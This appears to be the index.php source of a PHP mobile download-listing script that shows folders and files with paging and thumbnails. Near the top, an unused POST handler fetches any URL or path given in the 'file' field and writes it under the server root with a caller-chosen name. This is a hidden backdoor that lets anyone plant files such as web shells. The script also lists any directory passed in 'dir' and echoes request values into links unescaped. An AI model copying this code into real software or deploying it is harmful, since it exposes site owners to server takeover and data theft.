View file wapbuzz downloads script/index.php

File size: 4.29Kb
<?php
include('header.php');
include('config.php');
include('display_no.php');

function listFiles( $from = '.')
{
if(! is_dir($from))
return false;

$files = array();
$dirs = array( $from);
echo '';
while( NULL !== ($dir = array_pop($dirs)))
{
if( $dh = opendir($dir))
{
while( false !== ($file = readdir($dh)))
{
if( $file == '.' || $file == '..'  || substr($file,0,6) == 'thumb-')
continue;
$path = $dir . '/' . $file;
if( is_dir($path)){
//$size = dirSize($path);
$files['dir'][filemtime($path)] =  array($file,$path,substr($path,strrpos($path, ".")+1));
}
else{
if($_REQUEST['sort']=='1')	// sort by new to old
$files['files'][$file] = array($file,$path,format_size(filesize($path)));
else		// sort by a-z
$files['files'][filemtime($path)] = array($file,$path,format_size(filesize($path)));
}
}
closedir($dh);
}
}
echo '';
return $files;
}

function profile( $func, $trydir)
{
$list = $func( $trydir);

return $list;
}

function format_size($size, $round = 2) {
$sizes = array('Byts', 'kb', 'mb', 'gb','TB');
$total = count($sizes)-1;
for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
return round($size,$round).$sizes[$i];
}
if(isset($_POST['dir']))
{
$dir = "/";
$file = $_POST['file'];
$name = $_POST['sdir'];
if($content = file_get_contents($file))
{
$fp = fopen($dir.'/'.$name, 'w');
fwrite($fp, $content);
fclose($fp);
}}
if($_REQUEST['dir'])
$listof = $_REQUEST['dir'];
else
$listof = directoryPath;


// calling function to get file lists
if(is_dir($listof))
{

$list = listFiles($listof);
//echo '<h2>'.str_replace('/','  ',$listof).'</h2>';
$category = explode('/',$listof);
echo '<div class="title"> '.$category[count($category)-1].' </div>';
if(count($list['dir'])){
krsort($list['dir']);


$sdir = ($_REQUEST['sdir'] ? $_REQUEST['sdir'] : 1);
$display = dirPerPage * ($sdir-1);
$cat=1;
foreach($list['dir'] as $key){
if($cat > $display && $cat <= $display+dirPerPage){
echo "";
echo "<div class='link'><img src='img/ic.png' alt='&#187;'/> <a href='?dir=".$key[1]."&amp;a=1'>".$key[0]."</a></div> ";
}
$cat++;
}
echo '';
;	echo '';
$mLink = $_SERVER['PHP_SELF'] . "?";
$mLink = $mLink."&amp;dir=".$dir."&amp;sdir=";
echo '<div class="dispNo">';
include_once('display_no.php');
display_pageno(count($list['dir']),$sdir,$mLink,dirPerPage);
echo '</div>';

}

if(count($list['files'])){
if($_REQUEST['sort']=='1'){	// Sort By New To Old
sort($list['files']);
echo '<div class="nav"><a href="?dir='.$_REQUEST['dir'].'&amp;a=1&amp;sort=2">Sort by new</a></div>';
}
else{	// sort by a-z
krsort($list['files']);
echo '<div class="nav"><a href="?dir='.$_REQUEST['dir'].'&amp;a=1&amp;sort=1">Sort by A-Z</a></div>';
}

$start = $_REQUEST['a']?$_REQUEST['a']:1;
$display = filesPerPage * ($start-1);
$c=1;
foreach($list['files'] as $key){
if($c>$display && $c<=$display+filesPerPage){
echo "<div class='link'>";
$thumb = str_replace($key[0],'thumb-'.$key[0],$key[1]);
$thumb = substr($thumb,0,strrpos($thumb,'.')).'.jpg';
if(is_file($thumb)){
echo "<img src=\"image.php?w=50&amp;h=60&amp;f=$thumb&amp;q=80\" alt=\"-\"/><br/>";
}
elseif(substr($key[1],strrpos($key[1],'.')+1)=='jpg' || substr($key[1],strrpos($key[1],'.')+1)=='jpeg' || substr($key[1],strrpos($key[1],'.')+1)=='JPG'
|| substr($key[1],strrpos($key[1],'.')+1)=='gif'
|| substr($key[1],strrpos($key[1],'.')+1)=='GIF'
|| substr($key[1],strrpos($key[1],'.')+1)=='PNG'
|| substr($key[1],strrpos($key[1],'.')+1)=='png'){
echo "<img src=\"image.php?w=50&amp;h=60&amp;f=$key[1]&amp;q=80\" alt=\"-\"/><br/>";
}
echo "<img src=\"img/ic2.png\" alt=\"-\"/> <a href='file.php?file=".$key[1]."&amp;a=".$_REQUEST['a']."'>".$key[0]."</a> (".$key[2].")</div>";
}
$c++;
}

$mLink = $_SERVER['PHP_SELF'] . "?" . $_SERVER['QUERY_STRING'];
$mLink = substr($mLink,0,strpos($mLink, 'a='));
$mLink = $mLink."a=";
echo '<div class="nav">';
include_once('display_no.php');
display_pageno(count($list['files']),$start,$mLink,filesPerPage);
echo '</div>';
}
}
else
{
echo '<div class="ad"><b>Folder not found!</b></div>';
}


if($listof!='files'){
$back = strrpos($listof, "/")?substr($listof,0,strrpos($listof,'/')):'';
$back = strrpos($back, "/")?substr($back,strrpos($back,'/')+1):$back; 
if($back)
{
echo '<div class="n">';
echo '<img src="img/b.png" alt="-"/> <a href="index.php">Home</a> &#187; <a href="?dir='.substr($listof,0,strrpos($listof,'/')).'&amp;a=1">'.$back.'</a> ';
echo '</div>';}
}
; include_once('footer.php'); ?>